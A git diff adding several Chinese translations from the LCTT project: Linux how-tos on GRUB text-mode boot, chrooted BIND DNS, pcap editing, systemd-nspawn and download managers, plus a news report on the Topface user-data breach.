永久启动进入命令行 ### + +如果你想要永久启动进入命令行,你需要[更新定义了内核启动参数GRUB设置][1]。 + +在文本编辑器中打开默认的GRUB配置文件。 + + $ sudo vi /etc/default/grub + +查找以GRUB\_CMDLINE\_LINUX\_DEFAULT开头的行,并用“#”注释这行。这会禁止初始屏幕,而启动详细模式(也就是说显示详细的的启动过程)。 + +更改GRUB_CMDLINE_LINUX="" 成: + + GRUB_CMDLINE_LINUX="text" + +接下来取消“#GRUB_TERMINAL=console”的注释。 + +更新后的GRUB配置看上去像下面这样。 + +![](https://farm9.staticflickr.com/8673/16107564442_9345d94491_b.jpg) + +最后,使用update-grub命令来基于这些更改重新生成/boot下的GRUB2配置文件。 + + $ sudo update-grub + +这时,你的桌面应该可以从GUI启动切换到控制台启动了。可以通过重启验证。 + +![](https://farm8.staticflickr.com/7518/16106378151_81ac6b5a49_b.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/boot-into-command-line-ubuntu-debian.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/add-kernel-boot-parameters-via-grub-linux.html \ No newline at end of file diff --git a/published/201501/20150126 Data of 20 Million Users Stolen from Dating Website.md b/published/201501/20150126 Data of 20 Million Users Stolen from Dating Website.md new file mode 100644 index 0000000000..2fd4acc06d --- /dev/null +++ b/published/201501/20150126 Data of 20 Million Users Stolen from Dating Website.md @@ -0,0 +1,50 @@ +交友网站的2000万用户数据遭泄露 +---------- +*泄露数据包括Gmail、Hotmail以及Yahoo邮箱* + +![泄露的数据很可能来自于在线交友网站Topface](http://i1-news.softpedia-static.com/images/news2/Data-of-20-Million-Users-Stolen-from-Dating-Website-471179-2.jpg) + +#一名黑客非法窃取了在线交友网站Topface一个包含2000万用户资料的数据库。 + +目前并不清楚这些数据是否已经公开,但是根据某些未公开页面的消息说,某个网名为“Mastermind”的人声称掌握着这些数据。 + +#泄露数据列表涵盖了全世界数百个域名 + +此人号称泄露数据的内容100%真实有效,而Easy Solutions的CTO,Daniel Ingevaldson 周日在一篇博客中说道,泄露数据包括Hotmail、Yahoo和Gmail等邮箱地址。 + +Easy Solutions是一家位于美国的公司,提供多个不同平台的网络检测与安全防护产品。 + +据Ingevaldson所说,泄露的数据中,700万来自于Hotmail,250万来自于Yahoo,220万来自于Gmail.com。 + +我们并不清楚这些数据是可以直接登录邮箱账户的用户名和密码,还是登录交友网站的账户。另外,也不清楚这些数据在数据库中是加密状态还是明文存在的。 + +邮箱地址常常被用于在线网站的登录用户名,用户可以凭借唯一密码进行登录。然而重复使用同一个密码是许多用户的常用作法,同一个密码可以登录许多在线账户。 + +[Ingevaldson 还说](1):“看起来,这些数据事实上涵盖了全世界数百个域名。除了原始被黑的网页,黑客和不法分子很可能利用窃取的帐密进行暴库、自动扫描、危害包括银行业、旅游业以及email提供商在内的多个网站。” + +#预计将披露更多信息 + +据我们的多个消息源爆料,数据的泄露源就是Topface,一个包含9000万用户的在线交友网站。其总部位于俄罗斯圣彼得堡,超过50%的用户来自于俄罗斯以外的国家。 + +我们联系了Topface,向他们求证最近是否遭受了可能导致如此大量数据泄露的网络攻击;但目前我们仍未收到该公司的回复。 + +攻击者可能无需获得非法访问权限就窃取了这些数据,Easy Solutions 推测攻击者很可能针对网站客户端使用钓鱼邮件直接获取到了用户数据。 + +我们无法通过Easy Solutions的在线网站联系到他们,但我们已经尝试了其他交互通讯方式,目前正在等待更多信息的披露。 + +-------------------------------------------------------------------------------- + +via:http://news.softpedia.com/news/Data-of-20-Million-Users-Stolen-from-Dating-Website-471179.shtml + +本文发布时间:26 Jan 2015, 10:20 GMT + +作者:[Ionut Ilascu][a] + +译者:[Mr小眼儿](https://github.com/tinyeyeser) + +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/ionut-ilascu +[1]:http://newblog.easysol.net/dating-site-breached/ diff --git a/published/201501/How to Setup Bind Chroot DNS Server on CentOS 7.0 VPS.md b/published/201501/How to Setup Bind Chroot DNS Server on CentOS 7.0 VPS.md new file mode 100644 index 0000000000..c151adf6b1 --- /dev/null +++ b/published/201501/How to Setup Bind Chroot DNS Server on CentOS 7.0 VPS.md @@ -0,0 +1,203 @@ +在 CentOS7.0 上搭建 Chroot 的 Bind DNS 服务器 +==================== + +BIND(Berkeley internet Name Daemon)也叫做NAMED,是现今互联网上使用最为广泛的DNS 服务器程序。这篇文章将要讲述如何在 chroot 监牢中运行 BIND,这样它就无法访问文件系统中除“监牢”以外的其它部分。 + +例如,在这篇文章中,我会将BIND的运行根目录改为 /var/named/chroot/。当然,对于BIND来说,这个目录就是 /(根目录)。 “jail”(监牢,下同)是一个软件机制,其功能是使得某个程序无法访问规定区域之外的资源,同样也为了增强安全性(LCTT 译注:chroot “监牢”,所谓“监牢”就是指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中,保证该进程只能对该目录及其子目录的文件进行操作,从而保证整个服务器的安全)。Bind Chroot DNS 服务器的默认“监牢”为 /var/named/chroot。你可以按照下列步骤,在CentOS 7.0 上部署 Bind Chroot DNS 服务器。 + +### 1、安装Bind Chroot DNS 服务器 + + [root@centos7 ~]# yum install bind-chroot bind -y + +### 2、拷贝bind相关文件,准备bind chroot 环境 + + [root@centos7 ~]# cp -R /usr/share/doc/bind-*/sample/var/named/* /var/named/chroot/var/named/ + +### 3、在bind chroot 的目录中创建相关文件 + + [root@centos7 ~]# touch /var/named/chroot/var/named/data/cache_dump.db + + [root@centos7 ~]# touch /var/named/chroot/var/named/data/named_stats.txt + + [root@centos7 ~]# touch /var/named/chroot/var/named/data/named_mem_stats.txt + + [root@centos7 ~]# touch /var/named/chroot/var/named/data/named.run + + [root@centos7 ~]# mkdir /var/named/chroot/var/named/dynamic + + [root@centos7 ~]# touch /var/named/chroot/var/named/dynamic/managed-keys.bind + + +### 4、 将 Bind 锁定文件设置为可写 + + [root@centos7 ~]# chmod -R 777 /var/named/chroot/var/named/data + [root@centos7 ~]# chmod -R 777 /var/named/chroot/var/named/dynamic + +### 5、 将 /etc/named.conf 拷贝到 bind chroot目录 + + [root@centos7 ~]# cp -p /etc/named.conf /var/named/chroot/etc/named.conf + +### 6、 在/etc/named.conf中对 bind 进行配置。 + +在 named.conf 文件尾添加 **example.local** 域信息, 创建转发域(Forward Zone)与反向域(Reverse Zone)(LCTT 译注:这里example.local 并非一个真实有效的互联网域名,而是通常用于本地测试的一个域名;如果你需要做权威 DNS 解析,你可以将你拥有的域名如这里所示配置解析。): + + [root@centos7 ~]# vi /var/named/chroot/etc/named.conf + +-- + .. + .. + zone "example.local" { + type master; + file "example.local.zone"; + }; + + zone "0.168.192.in-addr.arpa" IN { + type master; + file "192.168.0.zone"; + }; + .. + .. + +named.conf 完全配置如下: + + // + // named.conf + // + // 由Red Hat提供,将 ISC BIND named(8) DNS服务器 + // 配置为暂存域名服务器 (用来做本地DNS解析). + // + // See /usr/share/doc/bind*/sample/ for example named configuration files. + // + + options { + listen-on port 53 { any; }; + listen-on-v6 port 53 { ::1; }; + directory "/var/named"; + dump-file "/var/named/data/cache_dump.db"; + statistics-file "/var/named/data/named_stats.txt"; + memstatistics-file "/var/named/data/named_mem_stats.txt"; + allow-query { any; }; + + /* + - 如果你要建立一个 授权域名服务器 服务器, 那么不要开启 recursion(递归) 功能。 + - 如果你要建立一个 递归 DNS 服务器, 那么需要开启recursion 功能。 + - 如果你的递归DNS服务器有公网IP地址, 你必须开启访问控制功能, + 只有那些合法用户才可以发询问. 如果不这么做的话,那么你的服 + 服务就会受到DNS 放大攻击。实现BCP38将有效抵御这类攻击。 + */ + recursion yes; + + dnssec-enable yes; + dnssec-validation yes; + dnssec-lookaside auto; + + /* Path to ISC DLV key */ + bindkeys-file "/etc/named.iscdlv.key"; + + managed-keys-directory "/var/named/dynamic"; + + pid-file "/run/named/named.pid"; + session-keyfile "/run/named/session.key"; + }; + + logging { + channel default_debug { + file "data/named.run"; + severity dynamic; + }; + }; + + zone "." IN { + type hint; + file "named.ca"; + }; + + zone "example.local" { + type master; + file "example.local.zone"; + }; + + zone "0.168.192.in-addr.arpa" IN { + type master; + file "192.168.0.zone"; + }; + + include "/etc/named.rfc1912.zones"; + include "/etc/named.root.key"; + +### 7、 为 example.local 域名创建转发域与反向域文件 + +#### a)创建转发域 + + [root@centos7 ~]# vi /var/named/chroot/var/named/example.local.zone + +添加如下内容并保存: + + ; + ; Addresses and other host information. + ; + $TTL 86400 + @ IN SOA example.local. hostmaster.example.local. ( + 2014101901 ; Serial + 43200 ; Refresh + 3600 ; Retry + 3600000 ; Expire + 2592000 ) ; Minimum + + ; Define the nameservers and the mail servers + + IN NS ns1.example.local. + IN NS ns2.example.local. + IN A 192.168.0.70 + IN MX 10 mx.example.local. + + centos7 IN A 192.168.0.70 + mx IN A 192.168.0.50 + ns1 IN A 192.168.0.70 + ns2 IN A 192.168.0.80 + +#### b)创建反向域 + + [root@centos7 ~]# vi /var/named/chroot/var/named/192.168.0.zone + +-- + + ; + ; Addresses and other host information. + ; + $TTL 86400 + @ IN SOA example.local. hostmaster.example.local. ( + 2014101901 ; Serial + 43200 ; Refresh + 3600 ; Retry + 3600000 ; Expire + 2592000 ) ; Minimum + + 0.168.192.in-addr.arpa. IN NS centos7.example.local. + + 70.0.168.192.in-addr.arpa. IN PTR mx.example.local. + 70.0.168.192.in-addr.arpa. IN PTR ns1.example.local. + 80.0.168.192.in-addr.arpa. IN PTR ns2.example.local.。 + +### 8、开机自启动 bind-chroot 服务: + + [root@centos7 ~]# /usr/libexec/setup-named-chroot.sh /var/named/chroot on + [root@centos7 ~]# systemctl stop named + [root@centos7 ~]# systemctl disable named + [root@centos7 ~]# systemctl start named-chroot + [root@centos7 ~]# systemctl enable named-chroot + ln -s '/usr/lib/systemd/system/named-chroot.service' '/etc/systemd/system/multi-user.target.wants/named-chroot.service' + +------------------ + +via: http://www.ehowstuff.com/how-to-setup-bind-chroot-dns-server-on-centos-7-0-vps/ + +作者:[skytech][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ehowstuff.com/author/mhstar/ +[1]:http://www.ehowstuff.com/archives/ + diff --git a/published/201501/How to filter, split or merge pcap files on Linux.md b/published/201501/How to filter, split or merge pcap files on Linux.md new file mode 100644 index 0000000000..82caa80cbd --- /dev/null +++ b/published/201501/How to filter, split or merge pcap files on Linux.md @@ -0,0 +1,100 @@ +Linux下如何过滤、分割以及合并 pcap 文件 +============= + +如果你是一个测试[入侵侦测系统][1]或一些网络访问控制策略的网络管理员,那么你经常需要抓取数据包并在离线状态下分析这些文件。当需要保存捕获的数据包时,我们一般会存储为 libpcap 的数据包格式 pcap,这是一种被许多开源的嗅探工具以及捕包程序广泛使用的格式。如果 pcap 文件被用于入侵测试或离线分析的话,那么在将他们[注入][2]网络之前通常要先对 pcap 文件进行一些操作。 + +![](https://farm8.staticflickr.com/7570/15425147404_a69f416673_c.jpg) + +在这篇文章中,我将介绍一些操作 pcap 文件的工具,以及如何使用它们 。 + +### Editcap 与 Mergecap### + +Wireshark,是最受欢迎的 GUI 嗅探工具,实际上它带了一套非常有用的命令行工具集。其中包括 editcap 与 mergecap。editcap 是一个万能的 pcap 编辑器,它可以过滤并且能以多种方式来分割 pcap 文件。mergecap 可以将多个 pcap 文件合并为一个。 这篇文章就是基于这些 Wireshark 命令行工具的。 + +如果你已经安装过 Wireshark 了,那么这些工具已经在你的系统中了。如果还没装的话,那么我们接下来就安装 Wireshark 命令行工具。 需要注意的是,在基于 Debian 的发行版上我们可以不用安装 Wireshark GUI 而仅安装命令行工具,但是在 Red Hat 及 基于它的发行版中则需要安装整个 Wireshark 包。 + +**Debian, Ubuntu 或 Linux Mint** + + $ sudo apt-get install wireshark-common + +**Fedora, CentOS 或 RHEL** + + $ sudo yum install wireshark + +当安装好工具后, 就可以开始使用 editca 与 mergecap 了。 + +### pcap 文件过滤### + +通过 editcap, 我们能以很多不同的规则来过滤 pcap 文件中的内容,并且将过滤结果保存到新文件中。 + +首先,以“起止时间”来过滤 pcap 文件。 " - A < start-time > 和 " - B < end-time > 选项可以过滤出在这个时间段到达的数据包(如,从 2:30 ~ 2:35)。时间的格式为 “ YYYY-MM-DD HH:MM:SS"。 + + $ editcap -A '2014-12-10 10:11:01' -B '2014-12-10 10:21:01' input.pcap output.pcap + +也可以从某个文件中提取指定的 N 个包。下面的命令行从 input.pcap 文件中提取100个包(从 401 到 500)并将它们保存到 output.pcap 中: + + $ editcap input.pcap output.pcap 401-500 + +使用 "-D < dup-window >" (dup-window可以看成是对比的窗口大小,仅与此范围内的包进行对比)选项可以提取出重复包。每个包都依次与它之前的 < dup-window > -1 个包对比长度与MD5值,如果有匹配的则丢弃。 + + $ editcap -D 10 input.pcap output.pcap + +> 遍历了 37568 个包, 在 10 窗口内重复的包仅有一个,并丢弃。 + +也可以将 < dup-window > 定义成时间间隔。使用"-w < dup-time-window >"选项,对比< dup-time-window > 时间内到达的包。 + + $ editcap -w 0.5 input.pcap output.pcap + +> 检索了 50000 个包, 以0.5s作为重复窗口,未找到重复包。 + +###分割 pcap 文件### + +当需要将一个大的 pcap 文件分割成多个小文件时,editcap 也能起很大的作用。 + +将一个 pcap 文件分割成数据包数目相同的多个文件 + + $ editcap -c + +输出的每个文件有相同的包数量,以 < output-prefix >-NNNN的形式命名。 + +以时间间隔分割 pcap 文件 + + $ editcap -i + +###合并 pcap 文件### + +如果想要将多个文件合并成一个,用 mergecap 就很方便。 + +当合并多个文件时,mergecap 默认将内部的数据包以时间先后来排序。 + + $ mergecap -w output.pcap input.pcap input2.pcap [input3.pcap . . .] + +如果要忽略时间戳,仅仅想以命令行中的顺序来合并文件,那么使用 -a 选项即可。 + +例如,下列命令会将 input.pcap 文件的内容写入到 output.pcap, 并且将 input2.pcap 的内容追加在后面。 + + $ mergecap -a -w output.pcap input.pcap input2.pcap + +###总结### + +在这篇指导中,我演示了多个 editcap、 mergecap 操作 pcap 文件的例子。除此之外,还有其它的相关工具,如 [reordercap][3]用于将数据包重新排序,[text2pcap][4] 用于将 pcap 文件转换为文本格式, [pcap-diff][5]用于比较 pcap 文件的异同,等等。当进行网络入侵测试及解决网络问题时,这些工具与[包注入工具][6]非常实用,所以最好了解他们。 + +你是否使用过 pcap 工具? 如果用过的话,你用它来做过什么呢? + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/filter-split-merge-pcap-linux.html + +作者:[Dan Nanni][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-compile-and-install-snort-from-source-code-on-ubuntu.html +[2]:http://xmodulo.com/how-to-capture-and-replay-network-traffic-on-linux.html +[3]:https://www.wireshark.org/docs/man-pages/reordercap.html +[4]:https://www.wireshark.org/docs/man-pages/text2pcap.html +[5]:https://github.com/isginf/pcap-diff +[6]:http://xmodulo.com/how-to-capture-and-replay-network-traffic-on-linux.html diff --git a/published/201501/Quick systemd-nspawn guide.md b/published/201501/Quick systemd-nspawn guide.md new file mode 100644 index 0000000000..8ddf729d15 --- /dev/null +++ b/published/201501/Quick systemd-nspawn guide.md @@ -0,0 +1,77 @@ +systemd-nspawn 快速指南 +=========================== +我目前已从 chroot(译者注:chroot可以构建类似沙盒的环境,建议各位同学先了解chroot) 迁移到 systemd-nspawn,同时我写了一篇快速指南。简单的说,我强烈建议正在使用 systemd 的用户从 chroot 转为 systemd-nspawn,因为只要你的内核配置正确的话,它几乎没有什么缺点。 + +想必在各大发行版中的用户对 chroot 都不陌生,而且我猜想 Gentoo 用户要时不时的使用它。 + +###chroot 面临的挑战 + +大多数交互环境下,仅运行chroot还不够。通常还要挂载 /proc, /sys,另外为了确保不会出现类似“丢失 ptys”之类的错误,我们还得 bind(译者注:bind 是 mount 的一个选项) 挂载 /dev。如果你使用 tmpfs,你可能想要以 tmpfs 类型挂载新的 tmp、 var/tmp。接下来你可能还想将其他的挂载点 bind 到 chroot 中。这些都不是特别难,但是一般情况下要写一个脚本来管理它。 + +现在我按照日常计划执行备份操作,当然有一些不必备份的数据如 tmp 目录,或任何 bind 挂载的内容。当我配置了一个新的 chroot 后就意味着我要更新我的备份配置了,但我经常忘记这点,因为大多数时间里 chroot 挂载点并没有运行。当这些挂载点仍然存在的情况下执行备份的话,那么备份中会多出很多不需要的内容。 + +当 bind 挂载点包含其他挂载点时(比如挂载时使用 -rbind 选项),这种情况下 systemd 的默认处理方式略有不同。在 bind 挂载中卸载一些东西时,systemd 会将处于 bind 另一边的目录也卸载掉。想像一下,如果我卸载了 chroot 中以 bind 挂载 /dev 的某个目录后,发现主机上的 /dev/pts 与 /dev/shm 也不见了,我肯定会很吃惊。不过好像有其他方法可以避免,但是这不是我们此次讨论的重点。 + +### Systemd-nspawn 优点 + +Systemd-nspawn 用于启动一个容器,并且它的最简模式就可以像 chroot 那样运行。默认情况下,它自动配置容器所需的开销如 /dev, /tmp 等等。通过配合一些选项它也可配置其他的 bind 挂载点。当容器退出后,所有的挂载点都会被清除。 + +容器运行时,从外部看上去没什么变化。事实上,可以从同一个 chroot 产生5个不同的 systemd-nspawn 容器实例,并且除了文件系统(不包括 /dev, /tmp等,只有 /usr,/etc 的改变会传递)外它们之间没有任何联系。你的备份将会忽略 bind 挂载点、tmpfs 及任何挂载在容器中的内容。 + +它同时具有其它优秀容器的优点,比如 containment - 可以杀死容器内的所有活动但不影响外部,等等。它的安全性并不是无懈可击的-它的作用仅仅是防止意外的错误。 + +如果你使用的是兼容的 sysvinit(它包含了 systemd,openrc),你可以启动容器。这意味着,你可以在容器中使用 fstab 添加挂载点,运行守护进程等。只需要一个 chroot 的开销,几乎就可以获得虚拟化的所有好处(不需要构建内核等)。在一个看起来像 chroot 的容器中运行systemctl poweroff 看起来很奇怪,但这条命令能够起作用。 + +注意,如果不做额外配置的话那么容器就会共享主机的网络,所以主机上的容器不要运行 sshd。运行一个分离的网络 namespace 不是太难,为了新的实例可以使用DHCP,分离之后记得绑定接口。 + +###操作步骤 + +让它工作起来是此次讨论中最简短的部分了。 + +首先系统内核要支持 namespaces 与 devpts: + + CONFIG_UTS_NS=y + CONFIG_IPC_NS=y + CONFIG_USER_NS=y + CONFIG_PID_NS=y + CONFIG_NET_NS=y + CONFIG_DEVPTS_MULTIPLE_INSTANCES=y + +像 chroot 那样启动 namespace 是非常简单的: + + systemd-nspawn -D . + +也可以像 chroot 那样退出。在内部可以运行 mount 并且可以看到默认它已将 /dev 与 /tmp 准备好了。 ”.“就是 chroot 的路径,也就是当前路径。在它内部运行的是 bash。 + +如果要添加一些 bind 挂载点也非常简便: + + systemd-nspawn -D . --bind /usr/portage + +现在,容器中的 /usr/portage 就与主机的对应目录绑定起来了,我们无需 sync /etc。如果想要绑定到指定的路径,只要在原路径后添加 ”:dest“,相当于 chroot 的 root(--bind foo 与 --bind foo:foo是一样的)。 + +如果容器具有 init 功能并且可以在内部运行,可以通过添加 -b 选项启动它: + + systemd-nspawn -D . --bind /usr/portage -b + +可以观察到 init 的运作。关闭容器会自动退出。 + +如果容器内运行了 systemd ,你可以使用 -h 选项将它的日志重定向到主机的systemd日志: + + systemd-nspawn -D . --bind /usr/portage -j -b + +使用 nspawn 注册容器以便它能够在 machinectl 中显示。如此可以方便的在主机上对它进行操作,如启动新的 getty, ssh 连接,关机等。 + +如果你正在使用 systemd 那么甩开 chroot 拥抱 nspawn 吧。 + +--------------------- + +via: http://rich0gentoo.wordpress.com/2014/07/14/quick-systemd-nspawn-guide/ + +作者:[rich0][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://rich0gentoo.wordpress.com/ + diff --git a/published/201502/20140819 Top 4 Linux download managers.md b/published/201502/20140819 Top 4 Linux download managers.md new file mode 100644 index 0000000000..5896665a80 --- /dev/null +++ b/published/201502/20140819 Top 4 Linux download managers.md @@ -0,0 +1,152 @@ +Linux下的四大下载管理器 +================================================================================ +**改善你的网页下载,以便更好的管理文件镜像、批量下载还是仅仅希望更好的管理你的文件。** + +下载管理器现在似乎已经不新鲜了,但是他们仍然非常有用。我们来比较一下Linux上排名前四的下载管理器。 + +### [uGet][1] ### + +如同很多其他的Linux应用一样,uGet把体积轻巧和功能全面作为宣传亮点。它能处理多线程下载,支持过滤器,还能与任何网络浏览器进行整合。它从当初的UrlGet开始,如今已经经过了十年。它还能在Windows上运行。 + +![uGet is actually very full-featured, with a lot of the kind of functions that advanced torrent clients use](http://www.linuxuser.co.uk/wp-content/uploads/2014/08/uget1.png) + +*uGet的功能其实非常全面,有很多先进的BT下载客户端所拥有的功能* + +#### 界面 #### + +uGet让我们想起了许多BT下载客户端的界面:有着活跃、结束、暂停等等对于不同下载任务的分类。尽管有很多的信息,但是他们都以非常简单明确的方式展现出来。旁边伴有高级选项的主下载控制非常易于使用。 + +#### 集成 #### + +它能查看到剪贴板里的URL,但uGet并没有在本地集成到Chromium和Firefox这些浏览器中。尽管如此,这两种浏览器还是能通过一些扩展程序连到uGet上:Firefox可以用Flashgot,Chromium则有专用的插件。虽然不是很理想,但是已经足够好了。 + +#### 功能 #### + +成熟的uGet完备了各种功能,包括按计划启动和终止下载任务的高级功能,通过剪贴板批量下载,还能改变它在剪贴板里查找的文件的类型。虽然有插件选项,但不多。 + +#### 可获得性 #### + +虽然在多数主要的发行版的软件库中都能得到它,但uGet网站上有着定期更新的适用于各种流行的发行版的二进制安装文件,还能轻易获得源代码。它的运行基于GTK 3+的图形库,所以它在某些桌面环境上的封装要比其他的小,然而我们得说,在KDE或其他Qt桌面上值得为此添加额外的依赖库。 + +#### 总体评价 #### + +8/10 + +我们非常喜欢uGet——它种类繁多的功能和极高的人气,让它成为了能与Linux浏览器优雅结合的万能下载管理器。 + +### [KGet][2] ### + +KDE自家的下载管理器貌似原本是设计成与KDE的网页浏览器 Konqueror 一同工作的。它带来了我们这次测试中所期待的功能:多下载控制和对下载完成的文件计算校验和的能力。 + +![You need to manually activate the ability to keep an eye on the clipboard for links](http://www.linuxuser.co.uk/wp-content/uploads/2014/08/kget1.png) + +*你需要手动激活查看剪贴板中下载链接的功能* + +#### 界面 #### + +作为一个备受期待的KDE应用软件,KGet采用一贯的图标和线条,与桌面环境的审美风格完美融合。它的设计也相当简洁,在主工具栏里只显示最必要的功能,当前下载也以最小界面显示。 + +#### 集成 #### + +KGet会集成到本地的KDE的Konqueror浏览器里,虽然它并不是最流行的浏览器。Firefox对KGet的支持是一如既往的是通过FlashGot完成的,但是在Chromium里并没有任何一种方法能真正的将它集成进去。你可以打开一个“询问你是否想下载已复制好的URL”的功能,然而KGet对于剪贴板的分析并不是很好,有的时候会把文本下载下来。 + +#### 功能 #### + +能够选择的功能并不多。没有计划任务,没有批量下载,基本上没有什么特色的下载功能。剪贴板扫描功能,想法很不错就是有点问题。设置菜单看起来有点怪怪的,因为它看起来应该设计有更多的功能。 + +#### 可获得性 #### + +虽然它不会随着KDE默认安装,但可以在任何支持KDE的发行版里得到它。虽然它的运行需要几个KDE库,找到它的源代码也很困难。除了少数几个发行版之外也没有什么二进制安装文件。 + +#### 总体评价 #### + +6/10 + +KGet并没有真正的给予用户比大多数主流浏览器内置下载管理器更强大的下载管理功能,但是,你可以在浏览器关闭的情况下使用它。 + +### [DownThemAll!][3] ### + +经由Firefox的附属组件进入Linux的DownThemAll从某种程度上可以说是跨平台。这让它只能通过Firefox使用,然而作为世界上最流行的浏览器之一,它这更加紧凑的集成也许正是某些人对下载管理器所期望的。 + +![There are actually a whole lot of options available for DownThemAll! that make it very flexible](http://www.linuxuser.co.uk/wp-content/uploads/2014/08/down1.png) + +*其实在DownThemALL!上有很多选项可以设置,这让它非常的灵活* + +#### 界面 #### + +与Firefox的集成使得DownThemAll!的风格符合浏览器的审美标准,右键单击可以唤出普通下载和DownThemAll选项。额外的对话框菜单通常和Firefox的主题风格一致,然而主下载窗口则非常整洁并采用了它自己的设计。 + +#### 集成 #### + +它并不是系统级集成,但是它伪装在Firefox中的能力让它看起来就像是原本浏览器的附加部分。如果你想,它就可以和普通下载器一同工作,在一点点手动过滤的帮助下,他还能找到网页上特定类型的链接,无需复制粘贴。 + +#### 功能 #### + +拥有着能同时控制多个下载任务的能力,限制而不浪费带宽以及先进的自动或手动过滤功能,DownThemAll!有着一大堆有助于大规模下载的优秀功能。“一键”功能还让它能非常迅速的启动预定文件夹的下载。这比普通下载功能快多了。 + +#### 可获得性 #### + +Firefox几乎能在所有的发行版和Linux以外的操作系统中获得。这让DownThemAll!也和它一样多能。不幸的是,这是一把双刃剑,因为Firefox可能不是你喜欢的浏览器。它还给浏览器增加了一些负担,让它的启动不再那么轻松。 + +#### 总体评价 #### + +7/10 + +DownThemAll!是很优秀的,如果你使用Firefox你也许就不再需要用任何其他的下载器了。然而并不是每个人都喜欢用Firefox浏览器,而且管理器需要在浏览器开启的情况下才能启动。 + +### [Steadyflow][4] ### + +Steadyflow很容易在Ubuntu和一些基于Debian的发行版中获得,获取它的方式可能受到了一些制约,但它在某些圈子里一直被认为是你能得到的任何发行版里最好的管理器。它能查找剪贴板里的URL,使用GNOME的预设代理,还有许多其他的功能。 + +![The settings in Steady flow are extremely limiting and somewhat difficult to access](http://www.linuxuser.co.uk/wp-content/uploads/2014/08/steady1.png) + +*Steady flow里的设置非常少,而且有点难以使用。* + +#### 界面 #### + +Steadyflow的形象相当简洁,令人愉悦的、干净的界面并没有让下载窗口变得混乱。添加下载任务的对话框足够简洁,只有基本的选项来设置下载任务,设置文件位置。真没什么可抱怨的,虽然它的确让我们觉得它的功能有点少。 + +#### 集成 #### + +查看复制的URL是标准配备,还有个让Chromium集成这个功能的插件。同样的,如果你喜欢用Firefox你可以通过Flashgot把它连到Firefox上。你并不能真正的编辑它从剪贴板里分析出的链接,它也不能像uGet和DownThemAll!一样批量下载。 + +#### 功能 #### + +极度缺少功能,选项菜单也受到很大限制。暂停和恢复功能看起来也不怎么好使——这是任何浏览器文件下载功能的最基本的部分。文件下载结束的通知和默认行为是可以设置的,还可以选择在文件下载完成之后运行脚本。 + +#### 可获得性 #### + +只能在Ubuntu上获取,还不容易得到这个应用的源代码。这意味着虽然在所有基于Ubuntu的发行版中都能很容易的得到它,但也仅限于这些发行版。由于它不是Linux上能得到的最好的下载管理器,所以也不用想太多。 + +#### 总体评价 #### + +5/10 + +坦白说,没那么好。只有非常基本的选项,还只能在Ubuntu上使用,Steadyflow要想从你能选择的浏览器自带的标准下载选项中脱颖而出,它做的还不够。 + +### 那么获奖者是…… ### + +#### uGet #### + +在此次测试中,我们已经证明了现代电脑中还是有下载管理器的一席之地的,即便它们中的佼佼者们从BT下载客户端中抄袭了某些功能,貌似侵犯了他们的权益。对于某些人来说BT下载可能是个更有效率的方式,随着ISP们对待BT流量越来越机智,一些人可能用一个好的下载管理器就得到更好的效果。大多数主流ISP不仅仅强加了数据传输限额,在高峰时段他们中的一些甚至开始减慢或封掉BT流量——甚至连发行版的ISO文件和其他免费软件的合法数据流都被限制了。 + +对于这类问题Steadyflow看起来是非常受欢迎的解决方式,但我们的使用和测试显示出,它是一个未完成的简陋的产品。更加古老的uGet则是这场表演的明星,有着惊人数量的可选功能,这些功能既能在下载单一文件中有所帮助,还能在整个网页里过滤出相关元素进行抓取。DownThemAll!与之类似,优秀的Firefox有加分,但它也离不开Firefox,有着几乎同级别的功能,但集成效果更好。 + +如果你要在这两个里面选一个,那就得谈谈你喜欢哪个浏览器还有你是否需要昼夜下载或上传文件。DownThemAll!需要Firefox一直运行,然而uGet可以单独运行,为处理器节省了很多资源和电力——这显然让uGet在24小时数据传输上显得更有前途,而且对于它来说,设置一大批下载任务或只是从你的浏览器中获取下载信息,都不是什么难事。 + +再给下载管理器一个机会。结果绝不会让你失望。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxuser.co.uk/reviews/top-4-linux-download-managers + +作者:Rob Zwetsloot +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://bit.ly/1mx4Uwz +[2]:http://bit.ly/1lilqU9 +[3]:http://bit.ly/1lilqU9 +[4]:http://bit.ly/1lilymS diff --git a/published/201502/20140821 What is a good EPUB reader on Linux.md b/published/201502/20140821 What is a good EPUB reader on Linux.md new file mode 100644 index 0000000000..7c3c4ea287 --- /dev/null +++ b/published/201502/20140821 What is a good EPUB reader on Linux.md @@ -0,0 +1,67 @@ +Linux版EPUB阅读器 +================================================================================ + +如果说用平板电脑看书尚属主流的话,那么在电脑上读书就非常少见了。专注阅读16世纪的书是非常困难的了,没人希望后台蹦出QQ聊天窗口。但是如果你非要在电脑上打开电子书的话,那么你需要一个电子书阅读软件。大多数出版物支持使用EPUB格式的电子书(电子出版物)。幸运的是,linux上从不缺乏EPUB阅读器类的软件。以下是一些Linux上不错的EPUB阅读软件。 + +### 1. Calibre ### + +![](https://farm6.staticflickr.com/5577/14975176155_0989766bb3_z.jpg) + 